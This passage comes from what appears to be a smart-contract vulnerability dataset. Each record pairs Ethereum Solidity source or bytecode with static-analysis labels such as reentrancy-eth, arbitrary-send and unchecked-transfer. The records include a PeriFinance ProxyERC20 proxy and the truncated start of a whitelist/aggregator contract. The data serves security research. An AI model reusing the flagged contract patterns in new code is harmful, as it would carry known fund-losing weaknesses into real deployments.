fffffffffffffff1614155b8015611c2a5750600f60169054906101000a900460ff165b15611c5257611c3881611da2565b60004790506000811115611c5057611c4f47611cc8565b5b505b505b611c5f838383612075565b505050565b6000838311158290611cac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca391906127bb565b60405180910390fd5b5060008385611cbb91906132f0565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611d30573d6000803e3d6000fd5b5050565b6000600954821115611d7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7290613396565b60405180910390fd5b6000611d85612085565b9050611d9a81846120b090919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dda57611dd9612a64565b5b604051908082528060200260200182016040528015611e085781602001602082028036833780820191505090505b5090503081600081518110611e2057611e1f612d35565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ec7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611eeb9190612df1565b81600181518110611eff57611efe612d35565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f6630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461142b565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fca959493929190613474565b600060405180830381600087803b158015611fe457600080fd5b505af1158015611ff8573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b6120808383836120fa565b505050565b60008060006120926122c5565b915091506120a981836120b090919063ffffffff16565b9250505090565b60006120f283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061231e565b905092915050565b60008060008060008061210c87612381565b95509550955095509550955061216a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123e990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121ff85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461243390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061224b81612491565b612255848361254e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122b2919061290a565b60405180910390a3505050505050505050565b60008060006009549050600065b5e620f4800090506122f565b5e620f480006009546120b090919063ffffffff16565b8210156123115760095465b5e620f4800093509350505061231a565b81819350935050505b9091565b60008083118290612365576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235c91906127bb565b60405180910390fd5b506000838561237491906134fd565b9050809150509392505050565b600080600080600080600080600061239e8a600b54600c54612588565b92509250925060006123ae612085565b905060008060006123c18e87878761261e565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061242b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c64565b905092915050565b6000808284612442919061329a565b905083811015612487576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247e9061357a565b60405180910390fd5b8091505092915050565b600061249b612085565b905060006124b282846126a790919063ffffffff16565b905061250681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461243390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612563826009546123e990919063ffffffff16565b60098190555061257e81600a5461243390919063ffffffff16565b600a819055505050565b6000806000806125b460646125a6888a6126a790919063ffffffff16565b6120b090919063ffffffff16565b905060006125de60646125d0888b6126a790919063ffffffff16565b6120b090919063ffffffff16565b90506000612607826125f9858c6123e990919063ffffffff16565b6123e990919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061263785896126a790919063ffffffff16565b9050600061264e86896126a790919063ffffffff16565b9050600061266587896126a790919063ffffffff16565b9050600061268e8261268085876123e990919063ffffffff16565b6123e990919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156126ba576000905061271c565b600082846126c8919061359a565b90508284826126d791906134fd565b14612717576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161270e90613666565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561275c578082015181840152602081019050612741565b8381111561276b576000848401525b50505050565b6000601f19601f8301169050919050565b600061278d82612722565b612797818561272d565b93506127a781856020860161273e565b6127b081612771565b840191505092915050565b600060208201905081810360008301526127d58184612782565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061281c826127f1565b9050919050565b61282c81612811565b811461283757600080fd5b50565b60008135905061284981612823565b92915050565b6000819050919050565b6128628161284f565b811461286d57600080fd5b50565b60008135905061287f81612859565b92915050565b6000806040838503121561289c5761289b6127e7565b5b60006128aa8582860161283a565b92505060206128bb85828601612870565b9150509250929050565b60008115159050919050565b6128da816128c5565b82525050565b60006020820190506128f560008301846128d1565b92915050565b6129048161284f565b82525050565b600060208201905061291f60008301846128fb565b92915050565b60008060006060848603121561293e5761293d6127e7565b5b600061294c8682870161283a565b935050602061295d8682870161283a565b925050604061296e86828701612870565b9150509250925092565b60006020828403121561298e5761298d6127e7565b5b600061299c8482850161283a565b91505092915050565b600060ff82169050919050565b6129bb816129a5565b82525050565b60006020820190506129d660008301846129b2565b92915050565b6129e5816128c5565b81146129f057600080fd5b50565b600081359050612a02816129dc565b92915050565b600060208284031215612a1e57612a1d6127e7565b5b6000612a2c848285016129f3565b91505092915050565b612a3e81612811565b82525050565b6000602082019050612a596000830184612a35565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612a9c82612771565b810181811067ffffffffffffffff82111715612abb57612aba612a64565b5b80604052505050565b6000612ace6127dd565b9050612ada8282612a93565b919050565b600067ffffffffffffffff821115612afa57612af9612a64565b5b602082029050602081019050919050565b600080fd5b6000612b23612b1e84612adf565b612ac4565b90508083825260208201905060208402830185811115612b4657612b45612b0b565b5b835b81811015612b6f5780612b5b888261283a565b845260208401935050602081019050612b48565b5050509392505050565b600082601f830112612b8e57612b8d612a5f565b5b8135612b9e848260208601612b10565b91505092915050565b600060208284031215612bbd57612bbc6127e7565b5b600082013567ffffffffffffffff811115612bdb57612bda6127ec565b5b612be784828501612b79565b91505092915050565b600060208284031215612c0657612c056127e7565b5b6000612c1484828501612870565b91505092915050565b60008060408385031215612c3457612c336127e7565b5b6000612c428582860161283a565b9250506020612c538582860161283a565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612c9360208361272d565b9150612c9e82612c5d565b602082019050919050565b60006020820190508181036000830152612cc281612c86565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612cff60178361272d565b9150612d0a82612cc9565b602082019050919050565b60006020820190508181036000830152612d2e81612cf2565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612d9e8261284f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612dd157612dd0612d64565b5b600182019050919050565b600081519050612deb81612823565b92915050565b600060208284031215612e0757612e066127e7565b5b6000612e1584828501612ddc565b91505092915050565b6000604082019050612e336000830185612a35565b612e406020830184612a35565b9392505050565b6000819050919050565b6000819050919050565b6000612e76612e71612e6c84612e47565b612e51565b61284f565b9050919050565b612e8681612e5b565b82525050565b600060c082019050612ea16000830189612a35565b612eae60208301886128fb565b612ebb6040830187612e7d565b612ec86060830186612e7d565b612ed56080830185612a35565b612ee260a08301846128fb565b979650505050505050565b600081519050612efc81612859565b92915050565b600080600060608486031215612f1b57612f1a6127e7565b5b6000612f2986828701612eed565b9350506020612f3a86828701612eed565b9250506040612f4b86828701612eed565b9150509250925092565b6000604082019050612f6a6000830185612a35565b612f7760208301846128fb565b9392505050565b600081519050612f8d816129dc565b92915050565b600060208284031215612fa957612fa86127e7565b5b6000612fb784828501612f7e565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061301c60248361272d565b915061302782612fc0565b604082019050919050565b6000602082019050818103600083015261304b8161300f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006130ae60228361272d565b91506130b982613052565b604082019050919050565b600060208201905081810360008301526130dd816130a1565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061314060258361272d565b915061314b826130e4565b604082019050919050565b6000602082019050818103600083015261316f81613133565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006131d260238361272d565b91506131dd82613176565b604082019050919050565b60006020820190508181036000830152613201816131c5565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061326460298361272d565b915061326f82613208565b604082019050919050565b6000602082019050818103600083015261329381613257565b9050919050565b60006132a58261284f565b91506132b08361284f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132e5576132e4612d64565b5b828201905092915050565b60006132fb8261284f565b91506133068361284f565b92508282101561331957613318612d64565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613380602a8361272d565b915061338b82613324565b604082019050919050565b600060208201905081810360008301526133af81613373565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6133eb81612811565b82525050565b60006133fd83836133e2565b60208301905092915050565b6000602082019050919050565b6000613421826133b6565b61342b81856133c1565b9350613436836133d2565b8060005b8381101561346757815161344e88826133f1565b975061345983613409565b92505060018101905061343a565b5085935050505092915050565b600060a08201905061348960008301886128fb565b6134966020830187612e7d565b81810360408301526134a88186613416565b90506134b76060830185612a35565b6134c460808301846128fb565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006135088261284f565b91506135138361284f565b925082613523576135226134ce565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613564601b8361272d565b915061356f8261352e565b602082019050919050565b6000602082019050818103600083015261359381613557565b9050919050565b60006135a58261284f565b91506135b08361284f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135e9576135e8612d64565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061365060218361272d565b915061365b826135f4565b604082019050919050565b6000602082019050818103600083015261367f81613643565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220dc05ef16f4c3e87e539afea452d40e66e8a0f858fe2ffdd3f9ce1b3db71fb1e864736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,331
0x5d30aD9C6374Bf925D0A75454fa327AACf778492
/** *Submitted for verification at Etherscan.io on 2021-05-07 */ /* ___ _ ___ _ | .\ ___ _ _ <_> ___ | __><_>._ _ ___ ._ _ ___ ___ | _// ._>| '_>| ||___|| _> | || ' |<_> || ' |/ | '/ ._> |_| \___.|_| |_| |_| |_||_|_|<___||_|_|\_|_.\___. * PeriFinance: ProxyERC20.sol * * Latest source (may be newer): https://github.com/PeriFinance/periFinance/blob/master/contracts/ProxyERC20.sol * Docs: Will be added in the future. /contracts/ProxyERC20 * * Contract Dependencies: * - IERC20 * - Owned * - Proxy * Libraries: (none) * * MIT License * =========== * * Copyright (c) 2021 PeriFinance * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma solidity ^0.5.16; // https://docs.peri.finance/contracts/source/contracts/owned contract Owned { address public owner; address public nominatedOwner; constructor(address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { _onlyOwner(); _; } function _onlyOwner() private view { require(msg.sender == owner, "Only the contract owner may perform this action"); } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } // Inheritance // Internal references // https://docs.peri.finance/contracts/source/contracts/proxyable contract Proxyable is Owned { // This contract should be treated like an abstract contract /* The proxy this contract exists behind. */ Proxy public proxy; Proxy public integrationProxy; /* The caller of the proxy, passed through to this contract. * Note that every function using this member must apply the onlyProxy or * optionalProxy modifiers, otherwise their invocations can use stale values. */ address public messageSender; constructor(address payable _proxy) internal { // This contract is abstract, and thus cannot be instantiated directly require(owner != address(0), "Owner must be set"); proxy = Proxy(_proxy); emit ProxyUpdated(_proxy); } function setProxy(address payable _proxy) external onlyOwner { proxy = Proxy(_proxy); emit ProxyUpdated(_proxy); } function setIntegrationProxy(address payable _integrationProxy) external onlyOwner { integrationProxy = Proxy(_integrationProxy); } function setMessageSender(address sender) external onlyProxy { messageSender = sender; } modifier onlyProxy { _onlyProxy(); _; } function _onlyProxy() private view { require(Proxy(msg.sender) == proxy || Proxy(msg.sender) == integrationProxy, "Only the proxy can call"); } modifier optionalProxy { _optionalProxy(); _; } function _optionalProxy() private { if (Proxy(msg.sender) != proxy && Proxy(msg.sender) != integrationProxy && messageSender != msg.sender) { messageSender = msg.sender; } } modifier optionalProxy_onlyOwner { _optionalProxy_onlyOwner(); _; } // solhint-disable-next-line func-name-mixedcase function _optionalProxy_onlyOwner() private { if (Proxy(msg.sender) != proxy && Proxy(msg.sender) != integrationProxy && messageSender != msg.sender) { messageSender = msg.sender; } require(messageSender == owner, "Owner only function"); } event ProxyUpdated(address proxyAddress); } // Inheritance // Internal references // https://docs.peri.finance/contracts/source/contracts/proxy contract Proxy is Owned { Proxyable public target; constructor(address _owner) public Owned(_owner) {} function setTarget(Proxyable _target) external onlyOwner { target = _target; emit TargetUpdated(_target); } function _emit( bytes calldata callData, uint numTopics, bytes32 topic1, bytes32 topic2, bytes32 topic3, bytes32 topic4 ) external onlyTarget { uint size = callData.length; bytes memory _callData = callData; assembly { /* The first 32 bytes of callData contain its length (as specified by the abi). * Length is assumed to be a uint256 and therefore maximum of 32 bytes * in length. It is also leftpadded to be a multiple of 32 bytes. * This means moving call_data across 32 bytes guarantees we correctly access * the data itself. */ switch numTopics case 0 { log0(add(_callData, 32), size) } case 1 { log1(add(_callData, 32), size, topic1) } case 2 { log2(add(_callData, 32), size, topic1, topic2) } case 3 { log3(add(_callData, 32), size, topic1, topic2, topic3) } case 4 { log4(add(_callData, 32), size, topic1, topic2, topic3, topic4) } } } // solhint-disable no-complex-fallback function() external payable { // Mutable call setting Proxyable.messageSender as this is using call not delegatecall target.setMessageSender(msg.sender); assembly { let free_ptr := mload(0x40) calldatacopy(free_ptr, 0, calldatasize) /* We must explicitly forward ether to the underlying contract as well. */ let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0) returndatacopy(free_ptr, 0, returndatasize) if iszero(result) { revert(free_ptr, returndatasize) } return(free_ptr, returndatasize) } } modifier onlyTarget { require(Proxyable(msg.sender) == target, "Must be proxy target"); _; } event TargetUpdated(Proxyable newTarget); } // https://docs.peri.finance/contracts/source/interfaces/ierc20 interface IERC20 { // ERC20 Optional Views function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); // Views function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); // Mutative functions function transfer(address to, uint value) external returns (bool); function approve(address spender, uint value) external returns (bool); function transferFrom( address from, address to, uint value ) external returns (bool); // Events event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } // Inheritance // https://docs.peri.finance/contracts/source/contracts/proxyerc20 contract ProxyERC20 is Proxy, IERC20 { constructor(address _owner) public Proxy(_owner) {} // ------------- ERC20 Details ------------- // function name() public view returns (string memory) { // Immutable static call from target contract return IERC20(address(target)).name(); } function symbol() public view returns (string memory) { // Immutable static call from target contract return IERC20(address(target)).symbol(); } function decimals() public view returns (uint8) { // Immutable static call from target contract return IERC20(address(target)).decimals(); } // ------------- ERC20 Interface ------------- // /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { // Immutable static call from target contract return IERC20(address(target)).totalSupply(); } /** * @dev Gets the balance of the specified address. * @param account The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address account) public view returns (uint256) { // Immutable static call from target contract return IERC20(address(target)).balanceOf(account); } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { // Immutable static call from target contract return IERC20(address(target)).allowance(owner, spender); } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { // Mutable state call requires the proxy to tell the target who the msg.sender is. target.setMessageSender(msg.sender); // Forward the ERC20 call to the target contract IERC20(address(target)).transfer(to, value); // Event emitting will occur via PeriFinance.Proxy._emit() return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { // Mutable state call requires the proxy to tell the target who the msg.sender is. target.setMessageSender(msg.sender); // Forward the ERC20 call to the target contract IERC20(address(target)).approve(spender, value); // Event emitting will occur via PeriFinance.Proxy._emit() return true; } /** * @dev Transfer tokens from one address to another * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom( address from, address to, uint256 value ) public returns (bool) { // Mutable state call requires the proxy to tell the target who the msg.sender is. target.setMessageSender(msg.sender); // Forward the ERC20 call to the target contract IERC20(address(target)).transferFrom(from, to, value); // Event emitting will occur via PeriFinance.Proxy._emit() return true; } }
0x6080604052600436106100f35760003560e01c8063776d1a011161008a57806395d89b411161005957806395d89b4114610473578063a9059cbb14610488578063d4b83992146104c1578063dd62ed3e146104d6576100f3565b8063776d1a011461038157806379ba5097146103b45780638da5cb5b146103c9578063907dff97146103de576100f3565b806323b872dd116100c657806323b872dd146102af578063313ce567146102f257806353a47bb71461031d57806370a082311461034e576100f3565b806306fdde031461017c578063095ea7b3146102065780631627540c1461025357806318160ddd14610288575b60025460408051635e33fc1960e11b815233600482015290516001600160a01b039092169163bc67f8329160248082019260009290919082900301818387803b15801561013f57600080fd5b505af1158015610153573d6000803e3d6000fd5b5050505060405136600082376000803683346002545af13d6000833e80610178573d82fd5b3d82f35b34801561018857600080fd5b50610191610511565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101cb5781810151838201526020016101b3565b50505050905090810190601f1680156101f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021257600080fd5b5061023f6004803603604081101561022957600080fd5b506001600160a01b038135169060200135610648565b604080519115158252519081900360200190f35b34801561025f57600080fd5b506102866004803603602081101561027657600080fd5b50356001600160a01b0316610736565b005b34801561029457600080fd5b5061029d610792565b60408051918252519081900360200190f35b3480156102bb57600080fd5b5061023f600480360360608110156102d257600080fd5b506001600160a01b03813581169160208101359091169060400135610808565b3480156102fe57600080fd5b506103076108ff565b6040805160ff9092168252519081900360200190f35b34801561032957600080fd5b50610332610944565b604080516001600160a01b039092168252519081900360200190f35b34801561035a57600080fd5b5061029d6004803603602081101561037157600080fd5b50356001600160a01b0316610953565b34801561038d57600080fd5b50610286600480360360208110156103a457600080fd5b50356001600160a01b03166109d6565b3480156103c057600080fd5b50610286610a32565b3480156103d557600080fd5b50610332610aee565b3480156103ea57600080fd5b50610286600480360360c081101561040157600080fd5b81019060208101813564010000000081111561041c57600080fd5b82018360208201111561042e57600080fd5b8035906020019184600183028401116401000000008311171561045057600080fd5b919350915080359060208101359060408101359060608101359060800135610afd565b34801561047f57600080fd5b50610191610c06565b34801561049457600080fd5b5061023f600480360360408110156104ab57600080fd5b506001600160a01b038135169060200135610c4b565b3480156104cd57600080fd5b50610332610d04565b3480156104e257600080fd5b5061029d600480360360408110156104f957600080fd5b506001600160a01b0381358116916020013516610d13565b600254604080516306fdde0360e01b815290516060926001600160a01b0316916306fdde03916004808301926000929190829003018186803b15801561055657600080fd5b505afa15801561056a573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052602081101561059357600080fd5b81019080805160405193929190846401000000008211156105b357600080fd5b9083019060208201858111156105c857600080fd5b82516401000000008111828201881017156105e257600080fd5b82525081516020918201929091019080838360005b8381101561060f5781810151838201526020016105f7565b50505050905090810190601f16801561063c5780820380516001836020036101000a031916815260200191505b50604052505050905090565b60025460408051635e33fc1960e11b815233600482015290516000926001600160a01b03169163bc67f832916024808301928692919082900301818387803b15801561069357600080fd5b505af11580156106a7573d6000803e3d6000fd5b50506002546040805163095ea7b360e01b81526001600160a01b03888116600483015260248201889052915191909216935063095ea7b3925060448083019260209291908290030181600087803b15801561070157600080fd5b505af1158015610715573d6000803e3d6000fd5b505050506040513d602081101561072b57600080fd5b506001949350505050565b61073e610d9f565b600180546001600160a01b0383166001600160a01b0319909116811790915560408051918252517f906a1c6bd7e3091ea86693dd029a831c19049ce77f1dce2ce0bab1cacbabce229181900360200190a150565b600254604080516318160ddd60e01b815290516000926001600160a01b0316916318160ddd916004808301926020929190829003018186803b1580156107d757600080fd5b505afa1580156107eb573d6000803e3d6000fd5b505050506040513d602081101561080157600080fd5b5051905090565b60025460408051635e33fc1960e11b815233600482015290516000926001600160a01b03169163bc67f832916024808301928692919082900301818387803b15801561085357600080fd5b505af1158015610867573d6000803e3d6000fd5b5050600254604080516323b872dd60e01b81526001600160a01b03898116600483015288811660248301526044820188905291519190921693506323b872dd925060648083019260209291908290030181600087803b1580156108c957600080fd5b505af11580156108dd573d6000803e3d6000fd5b505050506040513d60208110156108f357600080fd5b50600195945050505050565b6002546040805163313ce56760e01b815290516000926001600160a01b03169163313ce567916004808301926020929190829003018186803b1580156107d757600080fd5b6001546001600160a01b031681565b600254604080516370a0823160e01b81526001600160a01b038481166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b1580156109a457600080fd5b505afa1580156109b8573d6000803e3d6000fd5b505050506040513d60208110156109ce57600080fd5b505192915050565b6109de610d9f565b600280546001600160a01b0383166001600160a01b0319909116811790915560408051918252517f814250a3b8c79fcbe2ead2c131c952a278491c8f4322a79fe84b5040a810373e9181900360200190a150565b6001546001600160a01b03163314610a7b5760405162461bcd60e51b8152600401808060200182810382526035815260200180610deb6035913960400191505060405180910390fd5b600054600154604080516001600160a01b03938416815292909116602083015280517fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c9281900390910190a160018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6000546001600160a01b031681565b6002546001600160a01b03163314610b53576040805162461bcd60e51b8152602060048201526014602482015273135d5cdd081899481c1c9bde1e481d185c99d95d60621b604482015290519081900360640190fd5b604080516020601f89018190048102820181019092528781528791606091908a908490819084018382808284376000920191909152509293508992505081159050610bbd5760018114610bc85760028114610bd45760038114610be15760048114610bef57610bfa565b8260208301a0610bfa565b868360208401a1610bfa565b85878460208501a2610bfa565b8486888560208601a3610bfa565b838587898660208701a45b50505050505050505050565b600254604080516395d89b4160e01b815290516060926001600160a01b0316916395d89b41916004808301926000929190829003018186803b15801561055657600080fd5b60025460408051635e33fc1960e11b815233600482015290516000926001600160a01b03169163bc67f832916024808301928692919082900301818387803b158015610c9657600080fd5b505af1158015610caa573d6000803e3d6000fd5b50506002546040805163a9059cbb60e01b81526001600160a01b03888116600483015260248201889052915191909216935063a9059cbb925060448083019260209291908290030181600087803b15801561070157600080fd5b6002546001600160a01b031681565b60025460408051636eb1769f60e11b81526001600160a01b03858116600483015284811660248301529151600093929092169163dd62ed3e91604480820192602092909190829003018186803b158015610d6c57600080fd5b505afa158015610d80573d6000803e3d6000fd5b505050506040513d6020811015610d9657600080fd5b50519392505050565b6000546001600160a01b03163314610de85760405162461bcd60e51b815260040180806020018281038252602f815260200180610e20602f913960400191505060405180910390fd5b56fe596f75206d757374206265206e6f6d696e61746564206265666f726520796f752063616e20616363657074206f776e6572736869704f6e6c792074686520636f6e7472616374206f776e6572206d617920706572666f726d207468697320616374696f6ea265627a7a723158207e71fbc4c3609b3e0049ec9572b9d913945d5d56831f8f21c8238e99d35acfb264736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
7,332
0x0a202d2e821655c15ff4830445a155a9ee3d509c
/** *Submitted for verification at Etherscan.io on 2020-05-11 */ pragma solidity 0.6.2; contract Owned { address payable public owner; address private pendingOwner; event OwnershipTransferRequested( address indexed from, address indexed to ); event OwnershipTransferred( address indexed from, address indexed to ); constructor() public { owner = msg.sender; } /** * @dev Allows an owner to begin transferring ownership to a new address, * pending. */ function transferOwnership(address _to) external onlyOwner() { pendingOwner = _to; emit OwnershipTransferRequested(owner, _to); } /** * @dev Allows an ownership transfer to be completed by the recipient. */ function acceptOwnership() external { require(msg.sender == pendingOwner, "Must be proposed owner"); address oldOwner = owner; owner = msg.sender; pendingOwner = address(0); emit OwnershipTransferred(oldOwner, msg.sender); } /** * @dev Reverts if called by anyone other than the contract owner. */ modifier onlyOwner() { require(msg.sender == owner, "Only callable by owner"); _; } } contract Whitelisted is Owned { bool public whitelistEnabled; mapping(address => bool) public whitelisted; event AddedToWhitelist(address user); event RemovedFromWhitelist(address user); event WhitelistEnabled(); event WhitelistDisabled(); constructor() public { whitelistEnabled = true; } /** * @notice Adds an address to the whitelist * @param _user The address to whitelist */ function addToWhitelist(address _user) external onlyOwner() { whitelisted[_user] = true; emit AddedToWhitelist(_user); } /** * @notice Removes an address from the whitelist * @param _user The address to remove */ function removeFromWhitelist(address _user) external onlyOwner() { delete whitelisted[_user]; emit RemovedFromWhitelist(_user); } /** * @notice makes the whitelist check enforced */ function enableWhitelist() external onlyOwner() { whitelistEnabled = true; emit WhitelistEnabled(); } /** * @notice makes the whitelist check unenforced */ function disableWhitelist() external onlyOwner() { whitelistEnabled = false; emit WhitelistDisabled(); } /** * @dev reverts if the caller is not whitelisted */ modifier isWhitelisted() { require(whitelisted[msg.sender] || !whitelistEnabled, "Not whitelisted"); _; } } interface HistoricAggregatorInterface { function latestAnswer() external returns (int256); function latestTimestamp() external returns (uint256); function latestRound() external returns (uint256); function getAnswer(uint256 roundId) external returns (int256); function getTimestamp(uint256 roundId) external returns (uint256); event AnswerUpdated(int256 indexed current, uint256 indexed roundId, uint256 timestamp); event NewRound(uint256 indexed roundId, address indexed startedBy, uint256 startedAt); } interface AggregatorInterface is HistoricAggregatorInterface { function decimals() external returns (uint8); function getRoundData(uint256 _roundId) external returns ( uint256 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint256 answeredInRound ); function latestRoundData() external returns ( uint256 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint256 answeredInRound ); } contract 